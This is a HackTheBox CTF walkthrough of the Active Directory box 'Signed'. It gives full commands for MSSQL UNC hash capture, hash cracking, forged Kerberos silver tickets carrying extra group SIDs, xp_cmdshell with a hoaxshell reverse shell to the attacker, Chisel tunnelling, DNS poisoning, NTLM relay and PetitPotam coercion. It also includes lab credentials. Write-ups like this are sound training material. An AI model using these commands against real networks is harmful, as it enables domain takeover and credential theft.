Signed HackTheBox
Signed HTB Writeup
Signed is a medium level active directory box which is an assumed breach scenario (in this case mssql) and this box is unique in its own way since only MSSQL port is open on the box. We start off with initials access, exploiting UNC path injection we gain a Domain user which can forge tickets and add PAC for more privileged accounts generating a silver ticket allowing us to pwn this box with administrator access.
Initial Enumeration
We start with the rustmap to find open ports and services running on the box.
1
rustmap.py -ip 10.129.245.27
We have only one port open on the box and that is MSSQL.
Exploitation
Shell as MSSSQLSVC
Lets enumerate this MSSQL port more.
1
nxc mssql 10.129.245.27 -u 'scott' -p 'Sm230#C5NatH' --local-auth
Scoot is the authenticated user which is not domain joined I think so i.e. we have successful authentication locally.
Now looking at the results we add DC01.SIGNED.HTB and SIGNED.HTB to our /etc/hosts file.
Now connecting to the MSSQL service using impacket’s mssqlclient.
1
impacket-mssqlclient signed.htb/'scott':'Sm230#C5NatH'@dc01.signed.htb
And we are in!
Now lets enumerate more.
UNC Path Injection
Lets try to do a simple UNC path injection.
1
xp_dirtree "\\10.10.14.7\share\aashwin"
Captured the hash of the mssqlsvc account.
Lets try to crack it using Hashcat.
1
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
We have another set of credentials for the mssqlsvc user.
Now the key thing to note here is that the MSSQLSVC is a domain joined user, so it cannot authenticate with the domain locally we need to remove the local auth flag from NetExec and add a Windows auth flag to our mssqlclient python script to be able to authenticate.
And we have a shell on the domain account mssqlsvc.
Let now enumerate more on this mssql instance.
There were no links, no impersonations available.
But when we enumerated the logins we can see that the sa, SIGNED\IT, NT SERVICE\SQLWriter, Winmgmt, MSSQLSERVER, SQLSERVERAGENT, these are the sysadmins.
Now here the things get finicky, I did a lot of research on this part.
Here it goes, We can forge a kerberos silver ticket and the key thing to do while forging a silver ticket is that we need to add the PAC of the privileged groups to it.
Kerberos Silver Ticket and PAC Signing
Like in our case we need to add the PAC (or u can say user SID) of the more privileged group in our domain to our forging silver ticket.
The syntax to forge a silver ticket looks like this.
1
impacket-ticketer -spn '<MSSQLSVC SPN>' -domain-sid '<DOMAIN SID>' -domain signed.htb -user-id '<userid of the account to sign ticket>' -extra-sid '<extragroups to add>' -nthash '<NT hash of service account>' mssqlsvc_ticket
So we need some things to be able to get to this.
MSSQLSVC SPN, DOMAIN SID, USER ID, EXTRA SIDs and the NT hash of our MSSQL account.
For the SPN we need to guess it and mostly is default for our mssqlsvc service account → MSSQLSVC/DC01.SIGNED.HTB
We can get the domain SID in many ways, what I used is somewhat odd.
From our MSSQLSVC low privileged shell we go to our $Recycle.Bin folder and since we have xp_dirtree access we can list the directories there.
There’s an administrator folder there and the administrator’s SID.
Removing the 500 (user-sid part) we obtained the Domain SID.
Domain Sid- S-1-5-21-4088429403-1159899800-2753317549
Now lets retrieve the list of user-sids of this domain using NetExec.
We can perform an RID Bruteforce attack using mssql as a medium.
1
nxc mssql signed.htb -u mssqlsvc -p 'purPLE9795!@' --rid-brute
So now we have the useful sids of the users.
Now lastly we need the NT hash of the Mssqlsvc account.
This can be possible with this simple python script to convert the password to md4 and then encode it with utf-16le format.
1
2
3
4
import hashlib
password = "purPLE9795!@"
ntlm_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
print(ntlm_hash)
Running this script gives us the NT Hash as of MSSQLSVC service account as → ef699384c3285c54128a3ee1ddb1a0cc.
We now have all the parameters to forge a silver ticket.
1
impacket-ticketer -spn 'MSSQLSvc/DC01.SIGNED.HTB' -domain-sid 'S-1-5-21-4088429403-1159899800-2753317549' -domain 'signed.htb' -user-id '1103' -extra-sid 'S-1-5-21-4088429403-1159899800-2753317549-1105' -nthash 'ef699384c3285c54128a3ee1ddb1a0cc' mssqlsvc_it_ticket
Exporting it.
1
2
export KRB5CCNAME=mssqlsvc_it_ticket.ccache
klist
Now we have a valid silver ticket across the domain.
I will now authenticate with mssql service using kerberos, although kerberos is not open but it is running passively, its port is however not exposed to us, I maybe wrong here.
1
impacket-mssqlclient -k -no-pass dc01.signed.htb -windows-auth
See now we have a shell as dbo@master.
Trying to enable the xp_cmdshell now.
Now we run hoaxshell to get a better shell and executing it.
1
/opt/hoaxshell/hoaxshell.py -s 10.10.14.7 -p 9002
Now we can read the user flag.
Privilege Escalation
Kerberos Silver Ticket
Now for the privilege escalation part, the worst part is that we have the mssqlsvc account’s password and we can forge tickets for any user in the domain.
Similarly what we did for the user flag we do here too we need to add the SIGNED\IT group to the EXTRA SIDs tag, the IT group and will also add the domain admins and the enterprise admins group too.
1
2
impacket-ticketer -spn 'MSSQLSvc/DC01.SIGNED.HTB' -domain-sid 'S-1-5-21-4088429403-1159899800-2753317549' -domain 'signed.htb' -user-id '1103' -extra-sid 'S-1-5-21-4088429403-1159899800-2753317549-1105,S-1-5-21-4088429403-1159899800-2753317549-512,S-1-5-2
1-4088429403-1159899800-2753317549-519' -nthash 'ef699384c3285c54128a3ee1ddb1a0cc' diamond_administrator_ticket
Exporting it.
1
2
export KRB5CCNAME=diamond_administrator_ticket.ccache
klist
Logging in MSSQL using mssqlclient.py
1
impacket-mssqlclient -k -no-pass dc01.signed.htb -windows-auth
We are the Mssqlsvc user only but this time we have more privileges.
There is a method by which we can read system files, this will also prove that we have sysadmin privileges.
This is READ FILE with OPENROWSET
1
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
In this the BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permissions.
We can check for those permissions using this.
1
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
So lets check these permissions.
On our privileged shell we have these permissions.
Lets now try to read our system flag.
1
SELECT * FROM OPENROWSET(BULK N'C:/Users/Administrator/Desktop/root.txt', SINGLE_CLOB) AS Contents
As you can see we clearly have read access to the system files.
Submitting the root.txt!
NTLM Reflection (Intended way)
Now for this to work from our privileged shell as mssqlsvc, we ran Chisel to forward all the internal ports through SOCKS proxy.
First lets start the server on our attacker machine.
1
chisel server -p 8000 --reverse --socks5
1
.\chisel.exe client 10.10.14.52:8000 R:socks
Now for this attack to work we need SMB Signing to False it will not work if its on, this is the patch that microsoft released for it in March 2025 to fix this vulnerbility.
But in our case it still works since WINRMS and MSSQL ports are open.
So we need some tools to start with like.
DNSTOOL → This will poison the DNS and we will point that to our IP.
NTLMRELAYX → listens for NTLM authentication attempts and relays them to a target system to gain access.
PETITPOTAM → Module to coerce the DC in connecting back to us on our IP
First we will add the fake DNS query using DNS Tool.
1
proxychains -q python3 /opt/krbrelayx/dnstool.py -u 'signed.htb\mssqlsvc' -p 'purPLE9795!@' -d 10.10.14.52 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -dns-ip 10.129.242.173 10.129.242.173 --allow-multiple
After adding the fake DNS record, We listen for NTLM Authentication and relay them to our machine using winrms.
1
proxychains -q ntlmrelayx.py -smb2support -t winrms://10.129.242.173 -i
For the NTLM Authentication we will use SMB to make the DC connect to our NTLM RELAY server, which then points everything to the DNS query given, which is obviously a fake and lets us connect back to us.
1
proxychains -q nxc smb signed.htb -u mssqlsvc -p 'purPLE9795!@' -M coerce_plus -o METHOD=Petitpotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
After some time we can see on ntlmrelayx that it has opened a winrms shell on the port 11000 on our localhost.
1
nc 127.0.0.1 11000
Connecting to it using netcat and retrieving our root.txt flag.
Beyond Root
Preventing Over permissive privileges on Silver Tickets
I observed this later, In the privilege escalation part I had signed a silver ticket with 3 PACs which is not necessary.
We only need to sign the PAC using the high privileged group of SIGNED\IT and we get the read permissions on the root flag.
So we must avoid signing over permissive privileges on silver tickets.
Silver Ticket Limitation: With a silver ticket, as long as the service being accessed (like MSSQL or CIFS) trusts the authenticity of the ticket (because it was encrypted with its own account’s hash), it will accept any group membership/SID claims in the ticket without verifying with the DC.
1
impacket-ticketer -spn 'MSSQLSvc/DC01.SIGNED.HTB' -domain-sid 'S-1-5-21-4088429403-1159899800-2753317549' -domain 'signed.htb' -user-id '1103' -extra-sid 'S-1-5-21-4088429403-1159899800-2753317549-1105' -nthash 'ef699384c3285c54128a3ee1ddb1a0cc' diamond_administrator_ticket
Rooted!
Thanks for reading 😊✌️
































